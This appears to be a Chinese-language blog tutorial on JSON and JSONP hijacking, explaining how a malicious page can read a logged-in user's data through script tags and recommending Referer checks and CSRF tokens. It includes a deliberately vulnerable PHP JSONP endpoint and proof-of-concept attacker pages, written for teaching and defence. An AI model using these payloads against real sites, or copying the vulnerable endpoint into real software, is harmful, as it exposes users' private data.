详解JSON和JSONP劫持以及解决方法


Posted in Javascript onMarch 08, 2019

json劫持

json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。

比如下面的链接在已登录的情况下会返回json格式的用户信息:

http://www.test.com/userinfo

攻击者可以在自己的虚假页面中,加入如下标签:

<script src="http://www.test.com/userinfo"></script>

如果当前浏览器已经登录了www.test.com,并且cookie未过期,然后访问了攻击者的虚假页面,那么该页面就可以拿到json形式的用户敏感信息,因为script标签会自动解析json数据,生成对应的js对象。然后再通过

Object.prototype.__defineSetter__

这个函数来触发自己的恶意代码。

但是这个函数在当前的新版本chrome和firefox中都已经失效了。

jsonp劫持

jsonp是一个非官方的协议,利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。(关于JSONP可以参考我的博文:https://3water.com/article/31167.htm)

web程序如果通过这种方式跨域之后,攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求,这就引来了安全问题。比如:

<script>
function useUserInfo(v){
  alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服务器端的userinfo接口支持jsonp,那就会使虚假页面成功执行useUserInfo函数,从而导致安全问题。

解决方法

其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法一样。

1、验证 HTTP Referer 头信息;
2、在请求中添加 csrfToken 并在后端进行验证;

关于CSRF攻击可以参考我的博文:https://3water.com/article/157550.htm 

PS:JSONP劫持漏洞实例

getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

Payload利用:

客户端实现 callbackFunction 函数

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
    {
      alert(result.name);
    }
</script>
<script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

jQuery 使用 JSONP

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP劫持测试</title>
  <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>  
</head>
<body>
<div id="divCustomers"></div>

<script type="text/javascript">  
  $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
     alert(getUsers.name);
  });
</script>
</body>
</html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。权声明:本文为博主原创文章,转载请附上博文链接!

Javascript 相关文章推荐
JavaScript 指导方针
Apr 05 Javascript
jquery中dom操作和事件的实例学习 下拉框应用
Dec 01 Javascript
js中定义一个变量并判断其是否为空的方法
May 13 Javascript
node.js中的fs.fchmod方法使用说明
Dec 16 Javascript
jQuery处理json数据返回数组和输出的方法
Mar 11 Javascript
JavaScript对象反射用法实例
Apr 17 Javascript
ionic js 复选框 与普通的 HTML 复选框到底有没区别
Jun 06 Javascript
BootStrap Progressbar 实现大文件上传的进度条的实例代码
Jun 27 Javascript
深入理解ES6之数据解构的用法
Jan 13 Javascript
bmob js-sdk 在vue中的使用教程
Jan 21 Javascript
vue element 关闭当前tab 跳转到上一路由操作
Jul 22 Javascript
JavaScript如何优化逻辑判断代码详解
Jun 08 Javascript
Node.js Event Loop各阶段讲解
Mar 08 #Javascript
vue基础之data存储数据及v-for循环用法示例
Mar 08 #Javascript
vue.js使用v-model实现表单元素(input) 双向数据绑定功能示例
Mar 08 #Javascript
JavaScript解析机制与闭包原理实例详解
Mar 08 #Javascript
零基础之Node.js搭建API服务器的详解
Mar 08 #Javascript
详解vue项目中使用token的身份验证的简单实践
Mar 08 #Javascript
Javascript之高级数组API的使用实例
Mar 08 #Javascript
You might like
初品cakephp 入门基础
2012/02/16 PHP
php分页代码学习示例分享
2014/02/20 PHP
php字符集转换
2017/01/23 PHP
JavaScript 参考教程
2006/12/29 Javascript
js限制textarea每行输入字符串长度的代码
2012/10/31 Javascript
JavaScript实现自己的DOM选择器原理及代码
2013/03/04 Javascript
js中一个函数获取另一个函数返回值问题探讨
2013/11/21 Javascript
jquery对单选框,多选框,文本框等常见操作小结
2014/01/08 Javascript
jquery用data方法获取某个元素上的事件
2014/06/23 Javascript
JavaScript字符串对象fromCharCode方法入门实例(用于把Unicode值转换为字符串)
2014/10/17 Javascript
JS简单实现动画弹出层效果
2015/05/05 Javascript
使用JavaScript的AngularJS库编写hello world的方法
2015/06/23 Javascript
jQuery实现的网页右下角tab样式在线客服效果代码
2015/10/23 Javascript
JavaScript代码实现txt文件的上传预览功能
2018/03/27 Javascript
快速解决vue-cli在ie9+中无效的问题
2018/09/04 Javascript
js核心基础之构造函数constructor用法实例分析
2019/05/11 Javascript
[03:32]2014DOTA2西雅图邀请赛 CIS外卡赛赛前black专访
2014/07/09 DOTA
[01:15:36]加油刀塔第二期网络版
2014/08/09 DOTA
[01:02:55]CHAOS vs Mineski 2019国际邀请赛小组赛 BO2 第二场 8.16
2019/08/18 DOTA
python开发的小球完全弹性碰撞游戏代码
2013/10/15 Python
mac下pycharm设置python版本的图文教程
2018/06/13 Python
Python连接Mssql基础教程之Python库pymssql
2018/09/16 Python
你还在@微信官方?聊聊Python生成你想要的微信头像
2019/09/25 Python
关于Python中定制类的比较运算实例
2019/12/19 Python
用python写一个带有gui界面的密码生成器
2020/11/06 Python
python3中TQDM库安装及使用详解
2020/11/18 Python
浅析HTML5中header标签的用法
2016/06/24 HTML / CSS
纽约现代艺术博物馆商店:MoMA STORE(室内家具和杂货商品)
2016/08/02 全球购物
Hotels.com越南:酒店预订
2019/10/29 全球购物
美国优质马术服装购买网站:Breeches.com
2019/12/16 全球购物
PHP如何对用户密码进行加密
2014/07/31 面试题
长青弘远的面试题
2012/06/09 面试题
家长对孩子的评语
2014/04/18 职场文书
检讨书范文2000字
2015/01/28 职场文书
sql server删除前1000行数据的方法实例
2021/08/30 SQL Server
Java Lambda表达式常用的函数式接口
2022/04/07 Java/Android